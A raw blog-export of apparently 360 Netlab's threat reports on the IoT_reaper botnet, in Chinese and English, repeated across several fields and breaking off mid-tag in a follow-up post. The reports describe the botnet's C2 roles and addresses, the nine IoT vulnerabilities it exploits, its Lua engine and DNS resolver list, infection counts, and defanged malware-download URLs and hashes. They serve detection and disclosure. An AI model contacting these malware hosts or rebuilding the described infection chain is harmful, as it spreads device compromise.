hxxp://103.1.221.40/63ae01/39xjsda.php hxxp://162.211.183.192/down/server.armel hxxp://162.211.183.192/sa hxxp://162.211.183.192/sa5 hxxp://162.211.183.192/server.armel hxxp://162.211.183.192/sm hxxp://162.211.183.192/xget hxxp://198.44.241.220:8080/run.lua hxxp://23.234.51.91/control-ARM-LSB hxxp://23.234.51.91/control-MIPS32-MSB hxxp://23.234.51.91/ht_am5le hxxp://23.234.51.91/ht_mpbe hxxp://27.102.101.121/down/1506753086 hxxp://27.102.101.121/down/1506851514 IoC Hashes 3182a132ee9ed2280ce02144e974220a 3d680273377b67e6491051abe17759db 41ef6a5c5b2fde1b367685c7b8b3c154 4406bace3030446371df53ebbdc17785 4e2f58ba9a8a2bf47bdc24ee74956c73 596b3167fe0d13e3a0cfea6a53209be4 6587173d571d2a587c144525195daec9 6f91694106bb6d5aaa7a7eac841141d9 704098c8a8a6641a04d25af7406088e1 726d0626f66d5cacfeff36ed954dad70 76be3db77c7eb56825fe60009de2a8f2 95b448bdf6b6c97a33e1d1dbe41678eb 9ad8473148e994981454b3b04370d1ec 9f8e8b62b5adaf9c4b5bdbce6b2b95d1 a3401685d8d9c7977180a5c6df2f646a abe79b8e66c623c771acf9e21c162f44 b2d4a77244cd4f704b65037baf82d897 ca92a3b74a65ce06035fcc280740daf6 e9a03dbde09c6b0a83eefc9c295711d7 f9ec2427377cbc6afb4a7ff011e0de77 fb7c00afe00eeefb5d8a24d524f99370

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"从2017-09-13 01:02:13开始，我们捕获到一个新的针对iot设备的恶意样本出现，在随后的这个一个多月时间里，这个新的IoT僵尸网络家族不断持续更新，开始在互联网上快速大规模的组建僵尸网络军团。\n\n该僵尸网络脱胎于mirai，但是在诸多方面比mirai更进一步，特别是开始放弃弱口令猜测，完全转向利用IoT设备漏洞收割，成为IoT僵尸网络里的新兴玩家。我们将之命名为**IoT_reaper**。\n\n**IoT_reaper**规模较大且正在积极扩张，例如最近的数据昨日(10月19日)在我们观察到的多个C2中，其中一个C2上活跃IP地址去重后已经有10k个，此外还有更多的易感设备信息已经被提交到后台，由一个自动的loader持续植入恶意代码、扩大僵尸网络规模。\n\n所幸目前该僵尸网络还尚未发出植入恶意代码以外的其他攻击指令，这反映出该僵尸网络仍然处在早期扩张阶段。但是作者正在积极的修改代码，这值得我们警惕。\n\n我们公开**IoT_reaper**的相关信息，希望安全社区、设备供应商、政府能够采取共同行动，联合遏制该僵尸网络的扩张。\n\n###源于mirai，高于mirai\n该僵尸网络部分借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括：\n\n* 恶意代码投入时不再使用弱口令猜测、而是使用iot设备漏洞，扫描发现效率大大提高；\n* 恶意代码中集成了LUA执行环境，从而支持通过lua脚本编写复杂的攻击指令；\n* 主动抑制了扫描速度， 被安全研究者发现的风险大大降低；\n\n###样本的投入、C2的布局和流量变化\n\n以hxxp://162.211.183.192/sa样本为例，样本的投入过程如下。可以注意到downloader是IoT_reaper特有，这个 C2 布局与mirai有显著区别：\n\n* 162.211.183.192：downloader，样本下载服务器，一般以\"d\"作为二级域名，d.hl852.com\n* 27.102.101.121：controller，能够控制BOT、发送控制指令，一般以\"e\"作为二级域名，e.hl852.com\n* 222.112.82.231：reporter，接收BOT扫描到的易感染设备信息，一般以\"f\"作为二级域名，f.hl852.com\n* 119.82.26.157：loader，基于reporter获得的IP信息，通过漏洞植入bot\n\n\n下图是上述4个IP地址自9月1日以来的流量变化：\n\n\n###样本中集成了9个IoT漏洞\n**IoT_reaper**完全放弃了mirai中利用弱口令猜测的方式，转为利用IoT设备的漏洞植入，当前样本中集成了了9个IoT设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。\n\n* Dlink https://blogs.securiteam.com/index.php/archives/3364\n* Goahead https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\n* JAWS https://www.pentestpartners.com/blog/pwning-cctv-cameras/\n* Netgear https://blogs.securiteam.com/index.php/archives/3409\n* Vacron NVR https://blogs.securiteam.com/index.php/archives/3445\n* Netgear http://seclists.org/bugtraq/2013/Jun/8\n* Linksys http://www.s3cur1ty.de/m1adv2013-004\n* dlink http://www.s3cur1ty.de/m1adv2013-003\n* AVTECH https://github.com/Trietptm-on-Security/AVTECH\n\n\n\n可以注意到作者在积极的改进代码：\n\n* 公开渠道10月8日公开的 Vacron NVR远程利用漏洞，作者在10月10日以前就已经增加到恶意代码中；\n* 10月12日、10月16日的两次更新，作者分别增加了3个、1个漏洞利用；\n\n###样本中集成了lua执行环境\nMd5: CA92A3B74A65CE06035FCC280740DAF6 \n基于lua执行环境，攻击者可以编写出非常复杂而且高效的攻击脚本。\n\n\n###样本中集成了约100个DNS服务器\n比照我们的[DRDoS](http://data.netlab.360.com/drdos-reflector/)数据，100+的DNS服务器中，有大约三分之一的服务器曾经在现实世界中用来做为DNS反射攻击的反射点。这在之前mirai及其变种中是没有观察到的。\n\n攻击者是否能够进一步充分组合使用 IoT 僵尸网络 + DNS反射点 打出大流量的DDoS攻击，有待进一步观察。\n\n###目前为止没有实质性的攻击指令\n攻击指令方面，虽然我们在lua的源文件中看到了N中ddos攻击方式，但目前为止除了下载样本的指令以外，没有看到实际DDoS攻击指令，这显示出攻击者目前工作重心仍在构建僵尸网络上。\n\n###感染规模\n基于一些统计技巧，我们对感染规模做了一个相对精确的统计\n\n* 待植入节点数：单个C2，超过2m；\n* 累积已植入节点数：单个C2，近7天超过20k；\n* 当日活跃节点数：单个C2，10月19日大约是10k左右；\n* 同时在线节点数：单个C2，大约是4k左右；\n\n###攻击能力\n\n虽然目前为止我们没有监测到该僵尸网络除植入恶意代码以外的任何攻击行为，但是我们判定该僵尸网络有较强的攻击潜力：\n\n* 可以认为攻击者拥有100Gbps攻击带宽。我们已经确认该僵尸网络有超过10k/d的日活节点，假定每个节点拥有10mbps的上行带宽，则攻击者拥有100Gbps的攻击带宽；\n* 该僵尸网络内置了lua执行环境。尽管样本中删去了mirai相关攻击代码，但基于lua执行环境可以编写出非常复杂而且高效的攻击脚本；\n\n###IoC URLs\nhxxp://cbk99.com:8080/run.lua\nhxxp://bbk80.com/api/api.php\nhxxp://103.1.221.40/63ae01/39xjsda.php\nhxxp://162.211.183.192/down/server.armel\nhxxp://162.211.183.192/sa\nhxxp://162.211.183.192/sa5\nhxxp://162.211.183.192/server.armel\nhxxp://162.211.183.192/sm\nhxxp://162.211.183.192/xget\nhxxp://198.44.241.220:8080/run.lua\nhxxp://23.234.51.91/control-ARM-LSB\nhxxp://23.234.51.91/control-MIPS32-MSB\nhxxp://23.234.51.91/ht\\_am5le\nhxxp://23.234.51.91/ht\\_mpbe\nhxxp://27.102.101.121/down/1506753086\nhxxp://27.102.101.121/down/1506851514\n\n###IoC Hashes\n3182a132ee9ed2280ce02144e974220a\n3d680273377b67e6491051abe17759db\n41ef6a5c5b2fde1b367685c7b8b3c154\n4406bace3030446371df53ebbdc17785\n4e2f58ba9a8a2bf47bdc24ee74956c73\n596b3167fe0d13e3a0cfea6a53209be4\n6587173d571d2a587c144525195daec9\n6f91694106bb6d5aaa7a7eac841141d9\n704098c8a8a6641a04d25af7406088e1\n726d0626f66d5cacfeff36ed954dad70\n76be3db77c7eb56825fe60009de2a8f2\n95b448bdf6b6c97a33e1d1dbe41678eb\n9ad8473148e994981454b3b04370d1ec\n9f8e8b62b5adaf9c4b5bdbce6b2b95d1\na3401685d8d9c7977180a5c6df2f646a\nabe79b8e66c623c771acf9e21c162f44\nb2d4a77244cd4f704b65037baf82d897\nca92a3b74a65ce06035fcc280740daf6\ne9a03dbde09c6b0a83eefc9c295711d7\nf9ec2427377cbc6afb4a7ff011e0de77\nfb7c00afe00eeefb5d8a24d524f99370"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

67

post

2017-10-20T11:03:35.000Z

63873b9a8b1c1e0007f52efe

iot_reaper-a-rappid-spreading-new-iot-botnet-en

2022-02-09T07:15:26.000Z

public

published

2017-10-20T12:20:01.000Z

IoT_reaper: A Rappid Spreading New IoT Botnet

<!--kg-card-begin: markdown--><p>On 2017-09-13 at 01:02:13, we caught a new malicious sample targeting IoT devices. Starting from that time, this new IoT botnet family continued to update and began to harvest vulnerable iot devices in a rapid pace.</p> <p>The bot borrowed some code from the famous mirai botnet, but it does not do any password crack all. Instead, it purely focuses on exploiting IoT device vulnerabilities. So, we name it <strong>IoT_reaper</strong>.</p> <p><strong>IoT_reaper</strong> is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.</p> <p>Currently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance.</p> <p>Here we are sharing some quick summary so the security community may stop its before it causes bigger damage.</p> <h3 id="frommiraibeyondmirai">From Mirai, Beyond Mirai</h3> <p>The botnet partially borrows some mirai source code, but is significantly different from mirai in several key behaviors, including:</p> <ul> <li>No longer crack any weak password, only exploit IoT devices vulnerabilities;</li> <li>A LUA execution environment integrated, so more complex attacks can be supported and carried out;</li> <li>Scan behavior is not very aggressive, so it can stay under the radar.</li> </ul> <h3 id="sampledeliveryc2distributionandtrafficpattern">Sample Delivery, C2 Distribution and Traffic Pattern</h3> <p>Take hxxp://162.211.183.192/sa as an example, <strong>IoT_reaper</strong>'s sample delivery and C2 distribution are as follows. There is a <code>downloader</code>, quite different from Mirai:</p> <ul> <li><strong>downloader</strong>: 162.211.183.192, samples can be downloaded from this server and it usually uses &quot;d&quot; as subdomain, like d.hl852.com</li> <li><strong>controller</strong>: 27.102.101.121, which can control bots, send commands and usually uses &quot;e&quot; as subdomain, like e.hl852.com</li> <li><strong>reporter</strong>: 222.112.82.231, which is used to receive potentially vulnerable device info collected by bots, it usually uses &quot;f&quot; as subdomain, like f.hl852.com.</li> <li><strong>loader</strong>: 119.82.26.157, implants bot program through vulnerabilities into devices collected by reporter</li> </ul> <p>The following figures shows traffic pattern of the above 4 IPs：<br> <img src="__GHOST_URL__/content/images/2017/10/c2_traffic_history.png" alt="" loading="lazy"></p> <h3 id="9iotvulnerabilityexploitsintegratedinthemalware">9 IoT Vulnerability Exploits Integrated in the Malware</h3> <p>Unlike Mirai that uses weak password cracking, <strong>IoT_reaper</strong> infects IoT devices by exploiting multiple IoT device vulnerabilities.</p> <p>We noticed 9 IoT vulnerability exploits have been integrated into current samples as follows:</p> <ul> <li><strong>Dlink</strong> <a href="https://blogs.securiteam.com/index.php/archives/3364">https://blogs.securiteam.com/index.php/archives/3364</a></li> <li><strong>Goahead</strong> <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></li> <li><strong>JAWS</strong> <a href="https://www.pentestpartners.com/blog/pwning-cctv-cameras/">https://www.pentestpartners.com/blog/pwning-cctv-cameras/</a></li> <li><strong>Netgear</strong> <a href="https://blogs.securiteam.com/index.php/archives/3409">https://blogs.securiteam.com/index.php/archives/3409</a></li> <li><strong>Vacron</strong> NVR <a href="https://blogs.securiteam.com/index.php/archives/3445">https://blogs.securiteam.com/index.php/archives/3445</a></li> <li><strong>Netgear</strong> <a href="http://seclists.org/bugtraq/2013/Jun/8">http://seclists.org/bugtraq/2013/Jun/8</a></li> <li><strong>Linksys</strong> <a href="http://www.s3cur1ty.de/m1adv2013-004">http://www.s3cur1ty.de/m1adv2013-004</a></li> <li><strong>dlink</strong> <a href="http://www.s3cur1ty.de/m1adv2013-003">http://www.s3cur1ty.de/m1adv2013-003</a></li> <li><strong>AVTECH</strong> <a href="https://github.com/Trietptm-on-Security/AVTECH">https://github.com/Trietptm-on-Security/AVTECH</a></li> </ul> <p><img src="__GHOST_URL__/content/images/2017/10/sample_exploit_integration_timeline.png" alt="" loading="lazy"></p> <p>Note just in the last 10 days, the attacker has continuously added more new exploits into samples, one of which is adopted only 2 days after the disclosure of the vulnerability was made.</p> <ul> <li>Vacron NVR remote exploit was exposed on 2017-10-08 and was added into bot sample before 2017-10-10;</li> <li>3 and 1 exploits are added separately in two updates on 2017-10-12 and 2017-10-16;</li> </ul> <h3 id="theluaexecutionenvironmentintegratedinthemalware">The LUA Execution Environment Integrated in the Malware</h3> <p>Md5: CA92A3B74A65CE06035FCC280740DAF6<br> Based on the integrated LUA execution environment, author will be able to write very complex and efficient attack scripts now</p> <h3 id="approximately100dnsopenresolverswereintegratedinthismalware">Approximately 100 DNS Open Resolvers Were Integrated in This Malware</h3> <p>The botnet has embedded more than 100 DNS open resolvers in its lua sample, so dns amplification attack can be easily carried out. And a cross-checking with our <a href="http://data.netlab.360.com/drdos-reflector/">DRDoS data feed</a> indicates that about one-third of these open DNS servers have been used as reflector in real dns amplification attacks. We have yet to see this type of config in any other mirai variants.</p> <h3 id="noddosattackcommandobservedtillnow">No DDoS Attack Command observed Till Now</h3> <p>In terms of attacking command, although we saw support of DDoS attack in the source file of Lua execution environment, we have not seen actual DDoS attack so far. The only instructions we saw are to download samples. This means the attacker is still focusing on spreading the botnets.</p> <h3 id="infectionmeasurement">Infection Measurement</h3> <p>By using some tricks, we are able to draw some fairly accurate measurement on the scale of the infection, here are a sample of the numbers.</p> <ul> <li>Number of vulnerable devices in one c2 queue waiting to be infected : over 2m;</li> <li>Infected bots controlled by one c2 in last 7 days: over 20k ;</li> <li>Number of daily active bots controlled by one c2 : around 10k for yesterday(October 19) ;</li> <li>Number of simultaneous on-line bots controlled by one c2 : around 4k</li> </ul> <h3 id="iocurls">IoC URLs</h3> <p>hxxp://cbk99.com:8080/run.lua<br> hxxp://bbk80.com/api/api.php<br> hxxp://103.1.221.40/63ae01/39xjsda.php<br> hxxp://162.211.183.192/down/server.armel<br> hxxp://162.211.183.192/sa<br> hxxp://162.211.183.192/sa5<br> hxxp://162.211.183.192/server.armel<br> hxxp://162.211.183.192/sm<br> hxxp://162.211.183.192/xget<br> hxxp://198.44.241.220:8080/run.lua<br> hxxp://23.234.51.91/control-ARM-LSB<br> hxxp://23.234.51.91/control-MIPS32-MSB<br> hxxp://23.234.51.91/ht_am5le<br> hxxp://23.234.51.91/ht_mpbe<br> hxxp://27.102.101.121/down/1506753086<br> hxxp://27.102.101.121/down/1506851514</p> <h3 id="iochashes">IoC Hashes</h3> <p>3182a132ee9ed2280ce02144e974220a<br> 3d680273377b67e6491051abe17759db<br> 41ef6a5c5b2fde1b367685c7b8b3c154<br> 4406bace3030446371df53ebbdc17785<br> 4e2f58ba9a8a2bf47bdc24ee74956c73<br> 596b3167fe0d13e3a0cfea6a53209be4<br> 6587173d571d2a587c144525195daec9<br> 6f91694106bb6d5aaa7a7eac841141d9<br> 704098c8a8a6641a04d25af7406088e1<br> 726d0626f66d5cacfeff36ed954dad70<br> 76be3db77c7eb56825fe60009de2a8f2<br> 95b448bdf6b6c97a33e1d1dbe41678eb<br> 9ad8473148e994981454b3b04370d1ec<br> 9f8e8b62b5adaf9c4b5bdbce6b2b95d1<br> a3401685d8d9c7977180a5c6df2f646a<br> abe79b8e66c623c771acf9e21c162f44<br> b2d4a77244cd4f704b65037baf82d897<br> ca92a3b74a65ce06035fcc280740daf6<br> e9a03dbde09c6b0a83eefc9c295711d7<br> f9ec2427377cbc6afb4a7ff011e0de77<br> fb7c00afe00eeefb5d8a24d524f99370</p> <!--kg-card-end: markdown-->

On 2017-09-13 at 01:02:13, we caught a new malicious sample targeting IoT devices. Starting from that time, this new IoT botnet family continued to update and began to harvest vulnerable iot devices in a rapid pace. The bot borrowed some code from the famous mirai botnet, but it does not do any password crack all. Instead, it purely focuses on exploiting IoT device vulnerabilities. So, we name it IoT_reaper. IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet. Currently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance. Here we are sharing some quick summary so the security community may stop its before it causes bigger damage. From Mirai, Beyond Mirai The botnet partially borrows some mirai source code, but is significantly different from mirai in several key behaviors, including: * No longer crack any weak password, only exploit IoT devices vulnerabilities; * A LUA execution environment integrated, so more complex attacks can be supported and carried out; * Scan behavior is not very aggressive, so it can stay under the radar. Sample Delivery, C2 Distribution and Traffic Pattern Take hxxp://162.211.183.192/sa as an example, IoT_reaper's sample delivery and C2 distribution are as follows. There is a downloader, quite different from Mirai: * downloader: 162.211.183.192, samples can be downloaded from this server and it usually uses "d" as subdomain, like d.hl852.com * controller: 27.102.101.121, which can control bots, send commands and usually uses "e" as subdomain, like e.hl852.com * reporter: 222.112.82.231, which is used to receive potentially vulnerable device info collected by bots, it usually uses "f" as subdomain, like f.hl852.com. * loader: 119.82.26.157, implants bot program through vulnerabilities into devices collected by reporter The following figures shows traffic pattern of the above 4 IPs： 9 IoT Vulnerability Exploits Integrated in the Malware Unlike Mirai that uses weak password cracking, IoT_reaper infects IoT devices by exploiting multiple IoT device vulnerabilities. We noticed 9 IoT vulnerability exploits have been integrated into current samples as follows: * Dlink https://blogs.securiteam.com/index.php/archives/3364 * Goahead https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html * JAWS https://www.pentestpartners.com/blog/pwning-cctv-cameras/ * Netgear https://blogs.securiteam.com/index.php/archives/3409 * Vacron NVR https://blogs.securiteam.com/index.php/archives/3445 * Netgear http://seclists.org/bugtraq/2013/Jun/8 * Linksys http://www.s3cur1ty.de/m1adv2013-004 * dlink http://www.s3cur1ty.de/m1adv2013-003 * AVTECH https://github.com/Trietptm-on-Security/AVTECH Note just in the last 10 days, the attacker has continuously added more new exploits into samples, one of which is adopted only 2 days after the disclosure of the vulnerability was made. * Vacron NVR remote exploit was exposed on 2017-10-08 and was added into bot sample before 2017-10-10; * 3 and 1 exploits are added separately in two updates on 2017-10-12 and 2017-10-16; The LUA Execution Environment Integrated in the Malware Md5: CA92A3B74A65CE06035FCC280740DAF6 Based on the integrated LUA execution environment, author will be able to write very complex and efficient attack scripts now Approximately 100 DNS Open Resolvers Were Integrated in This Malware The botnet has embedded more than 100 DNS open resolvers in its lua sample, so dns amplification attack can be easily carried out. And a cross-checking with our DRDoS data feed indicates that about one-third of these open DNS servers have been used as reflector in real dns amplification attacks. We have yet to see this type of config in any other mirai variants. No DDoS Attack Command observed Till Now In terms of attacking command, although we saw support of DDoS attack in the source file of Lua execution environment, we have not seen actual DDoS attack so far. The only instructions we saw are to download samples. This means the attacker is still focusing on spreading the botnets. Infection Measurement By using some tricks, we are able to draw some fairly accurate measurement on the scale of the infection, here are a sample of the numbers. * Number of vulnerable devices in one c2 queue waiting to be infected : over 2m; * Infected bots controlled by one c2 in last 7 days: over 20k ; * Number of daily active bots controlled by one c2 : around 10k for yesterday(October 19) ; * Number of simultaneous on-line bots controlled by one c2 : around 4k IoC URLs hxxp://cbk99.com:8080/run.lua hxxp://bbk80.com/api/api.php hxxp://103.1.221.40/63ae01/39xjsda.php hxxp://162.211.183.192/down/server.armel hxxp://162.211.183.192/sa hxxp://162.211.183.192/sa5 hxxp://162.211.183.192/server.armel hxxp://162.211.183.192/sm hxxp://162.211.183.192/xget hxxp://198.44.241.220:8080/run.lua hxxp://23.234.51.91/control-ARM-LSB hxxp://23.234.51.91/control-MIPS32-MSB hxxp://23.234.51.91/ht_am5le hxxp://23.234.51.91/ht_mpbe hxxp://27.102.101.121/down/1506753086 hxxp://27.102.101.121/down/1506851514 IoC Hashes 3182a132ee9ed2280ce02144e974220a 3d680273377b67e6491051abe17759db 41ef6a5c5b2fde1b367685c7b8b3c154 4406bace3030446371df53ebbdc17785 4e2f58ba9a8a2bf47bdc24ee74956c73 596b3167fe0d13e3a0cfea6a53209be4 6587173d571d2a587c144525195daec9 6f91694106bb6d5aaa7a7eac841141d9 704098c8a8a6641a04d25af7406088e1 726d0626f66d5cacfeff36ed954dad70 76be3db77c7eb56825fe60009de2a8f2 95b448bdf6b6c97a33e1d1dbe41678eb 9ad8473148e994981454b3b04370d1ec 9f8e8b62b5adaf9c4b5bdbce6b2b95d1 a3401685d8d9c7977180a5c6df2f646a abe79b8e66c623c771acf9e21c162f44 b2d4a77244cd4f704b65037baf82d897 ca92a3b74a65ce06035fcc280740daf6 e9a03dbde09c6b0a83eefc9c295711d7 f9ec2427377cbc6afb4a7ff011e0de77 fb7c00afe00eeefb5d8a24d524f99370

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On 2017-09-13 at 01:02:13, we caught a new malicious sample targeting IoT devices. Starting from that time, this new IoT botnet family continued to update and began to harvest vulnerable iot devices in a rapid pace.\n\nThe bot borrowed some code from the famous mirai botnet, but it does not do any password crack all. Instead, it purely focuses on exploiting IoT device vulnerabilities. So, we name it **IoT_reaper**.\n\n\n**IoT_reaper** is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.\n\nCurrently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance.\n\nHere we are sharing some quick summary so the security community may stop its before it causes bigger damage.\n\n\n###From Mirai, Beyond Mirai\nThe botnet partially borrows some mirai source code, but is significantly different from mirai in several key behaviors, including:\n\n* No longer crack any weak password, only exploit IoT devices vulnerabilities;\n* A LUA execution environment integrated, so more complex attacks can be supported and carried out;\n* Scan behavior is not very aggressive, so it can stay under the radar.\n\n###Sample Delivery, C2 Distribution and Traffic Pattern\n\nTake hxxp://162.211.183.192/sa as an example, **IoT_reaper**'s sample delivery and C2 distribution are as follows. There is a `downloader`, quite different from Mirai:\n\n* **downloader**: 162.211.183.192, samples can be downloaded from this server and it usually uses \"d\" as subdomain, like d.hl852.com\n* **controller**: 27.102.101.121, which can control bots, send commands and usually uses \"e\" as subdomain, like e.hl852.com\n* **reporter**: 222.112.82.231, which is used to receive potentially vulnerable device info collected by bots, it usually uses \"f\" as subdomain, like f.hl852.com.\n* **loader**: 119.82.26.157, implants bot program through vulnerabilities into devices collected by reporter\n\n\nThe following figures shows traffic pattern of the above 4 IPs：\n\n\n###9 IoT Vulnerability Exploits Integrated in the Malware\nUnlike Mirai that uses weak password cracking, **IoT_reaper** infects IoT devices by exploiting multiple IoT device vulnerabilities.\n\nWe noticed 9 IoT vulnerability exploits have been integrated into current samples as follows:\n\n* **Dlink** https://blogs.securiteam.com/index.php/archives/3364\n* **Goahead** https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\n* **JAWS** https://www.pentestpartners.com/blog/pwning-cctv-cameras/\n* **Netgear** https://blogs.securiteam.com/index.php/archives/3409\n* **Vacron** NVR https://blogs.securiteam.com/index.php/archives/3445\n* **Netgear** http://seclists.org/bugtraq/2013/Jun/8\n* **Linksys** http://www.s3cur1ty.de/m1adv2013-004\n* **dlink** http://www.s3cur1ty.de/m1adv2013-003\n* **AVTECH** https://github.com/Trietptm-on-Security/AVTECH\n\n\n\nNote just in the last 10 days, the attacker has continuously added more new exploits into samples, one of which is adopted only 2 days after the disclosure of the vulnerability was made.\n\n* Vacron NVR remote exploit was exposed on 2017-10-08 and was added into bot sample before 2017-10-10;\n* 3 and 1 exploits are added separately in two updates on 2017-10-12 and 2017-10-16;\n\n###The LUA Execution Environment Integrated in the Malware\nMd5: CA92A3B74A65CE06035FCC280740DAF6 \nBased on the integrated LUA execution environment, author will be able to write very complex and efficient attack scripts now\n\n###Approximately 100 DNS Open Resolvers Were Integrated in This Malware\nThe botnet has embedded more than 100 DNS open resolvers in its lua sample, so dns amplification attack can be easily carried out. And a cross-checking with our [DRDoS data feed](http://data.netlab.360.com/drdos-reflector/) indicates that about one-third of these open DNS servers have been used as reflector in real dns amplification attacks. We have yet to see this type of config in any other mirai variants.\n\n\n###No DDoS Attack Command observed Till Now\nIn terms of attacking command, although we saw support of DDoS attack in the source file of Lua execution environment, we have not seen actual DDoS attack so far. The only instructions we saw are to download samples. This means the attacker is still focusing on spreading the botnets.\n\n\n###Infection Measurement\nBy using some tricks, we are able to draw some fairly accurate measurement on the scale of the infection, here are a sample of the numbers.\n\n* Number of vulnerable devices in one c2 queue waiting to be infected : over 2m;\n* Infected bots controlled by one c2 in last 7 days: over 20k ;\n* Number of daily active bots controlled by one c2 : around 10k for yesterday(October 19) ;\n* Number of simultaneous on-line bots controlled by one c2 : around 4k\n\n\n\n###IoC URLs\nhxxp://cbk99.com:8080/run.lua\nhxxp://bbk80.com/api/api.php\nhxxp://103.1.221.40/63ae01/39xjsda.php\nhxxp://162.211.183.192/down/server.armel\nhxxp://162.211.183.192/sa\nhxxp://162.211.183.192/sa5\nhxxp://162.211.183.192/server.armel\nhxxp://162.211.183.192/sm\nhxxp://162.211.183.192/xget\nhxxp://198.44.241.220:8080/run.lua\nhxxp://23.234.51.91/control-ARM-LSB\nhxxp://23.234.51.91/control-MIPS32-MSB\nhxxp://23.234.51.91/ht\\_am5le\nhxxp://23.234.51.91/ht\\_mpbe\nhxxp://27.102.101.121/down/1506753086\nhxxp://27.102.101.121/down/1506851514\n\n###IoC Hashes\n3182a132ee9ed2280ce02144e974220a\n3d680273377b67e6491051abe17759db\n41ef6a5c5b2fde1b367685c7b8b3c154\n4406bace3030446371df53ebbdc17785\n4e2f58ba9a8a2bf47bdc24ee74956c73\n596b3167fe0d13e3a0cfea6a53209be4\n6587173d571d2a587c144525195daec9\n6f91694106bb6d5aaa7a7eac841141d9\n704098c8a8a6641a04d25af7406088e1\n726d0626f66d5cacfeff36ed954dad70\n76be3db77c7eb56825fe60009de2a8f2\n95b448bdf6b6c97a33e1d1dbe41678eb\n9ad8473148e994981454b3b04370d1ec\n9f8e8b62b5adaf9c4b5bdbce6b2b95d1\na3401685d8d9c7977180a5c6df2f646a\nabe79b8e66c623c771acf9e21c162f44\nb2d4a77244cd4f704b65037baf82d897\nca92a3b74a65ce06035fcc280740daf6\ne9a03dbde09c6b0a83eefc9c295711d7\nf9ec2427377cbc6afb4a7ff011e0de77\nfb7c00afe00eeefb5d8a24d524f99370"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

68

post

2017-10-24T12:31:52.000Z

63873b9a8b1c1e0007f52eff

iot_reaper-a-few-updates

2022-02-09T07:15:15.000Z

public

published

2017-10-25T14:24:48.000Z

IoT_reaper 情况更新

<!--kg-card-begin: markdown--><p>在周五晚上披露了<strong>IoT_reaper</strong>之后，我们收到了来自安全社区和各方很多问题。这里给出一个快速的更新，以澄清各方可能的疑问。</p> <h3 id="iot_reaper">IoT_reaper样本投递历史情况</h3> <p>我们通过蜜罐观察到的 <strong>IoT_reaper</strong> 样本历史投递情况如下：</p> <p><img src="__GHOST_URL__/content/images/2017/10/loader_history-1.png" alt="" loading="lazy"></p> <p>可以看出，IoT_reaper 最主要传播的恶意代码位于下面这个URL上：</p> <ul> <li>下载地址：hxxp://162.211.183.192/sa</li> <li>投递者：119.82.26.157</li> <li>起止时间：10-04～10-17</li> <li>样本md5：7 个,详细见文末IoC</li> </ul> <p>这个URL上的样本之间内聚关系比较强，我们称为S簇。</p> <p>后来进一步的分析，认为S簇还包括其他一些样本；而在S簇之外，还有一个LUA簇，以及其他更小一些的未知簇。</p> <h3 id="s">S簇的样本构成</h3> <p>我们认为S簇包含下面这些URL上的样本：</p> <ul> <li>hxxp://162.211.183.192/sa</li> <li>hxxp://162.211.183.192/sa5</li> <li>hxxp://162.211.183.192/sm</li> <li>hxxp://162.211.183.192/sml</li> </ul> <p>簇内的命名策略可能是这样的，头部的s代表S簇：</p> <ul> <li>sa: arm</li> <li>sa5：arm5</li> <li>sm：mips</li> <li>sml：mips 小端</li> </ul> <h3 id="sc2">S簇的C2 布局、感染机制和数字疑问</h3> <p><img src="__GHOST_URL__/content/images/2017/10/s_cluster_c2_layout.png" alt="" loading="lazy"></p> <p>如上图：</p> <ul> <li><strong>loader</strong> : 负责通过漏洞植入恶意代码</li> <li><strong>downloader</strong> : 提供恶意代码下载</li> <li><strong>reporter</strong> : 接收bot扫描到的易感染设备信息</li> <li><strong>controller</strong> : 控制bot、发送控制指令</li> <li>我们猜测，在reporter 和 loader 之间有一个队列，reporter会将收集到的易感染设备信息推入队列，等待loader处理</li> </ul> <p>与 S 簇感染相关的有一组不同的数字，近日来容易引起安全社区的混淆。我们看到的数字如下：</p> <ul> <li>已经汇报到单台 reporter 的易感染设备数：超过2m，到 2017-10-18 为止；</li> <li>单台 controller 累积控制设备数：超过28k，到 2017-10-24 为止；</li> </ul> <p>这两个数字之间有 <strong>显著差距</strong>，原因尚不明确。这可能是因为攻击者的实现导致在队列中加入了大量的不存在相应漏洞的设备, 或者是攻击者的 loader 处理能力不足而被动积压，也有可能是攻击者主动抑制了感染速度以减少暴露风险，或者是因为其他我们不得而知的原因。</p> <h3 id="sc22017101320171023">S 簇单台 C2 感染情况统计（2017-10-13 ～ 2017-10-23）</h3> <p>时间分布：</p> <p><img src="__GHOST_URL__/content/images/2017/10/iot_reaper_infection_by_day.png" alt="" loading="lazy"></p> <p>国家分布:</p> <p><img src="__GHOST_URL__/content/images/2017/10/bot_country_distribution.png" alt="" loading="lazy"></p> <p>被感染的前十国家:</p> <p><img src="__GHOST_URL__/content/images/2017/10/iot_reaper_infection_top10_country.png" alt="" loading="lazy"></p> <p>与 mirai 初期感染情况对比</p> <p><img 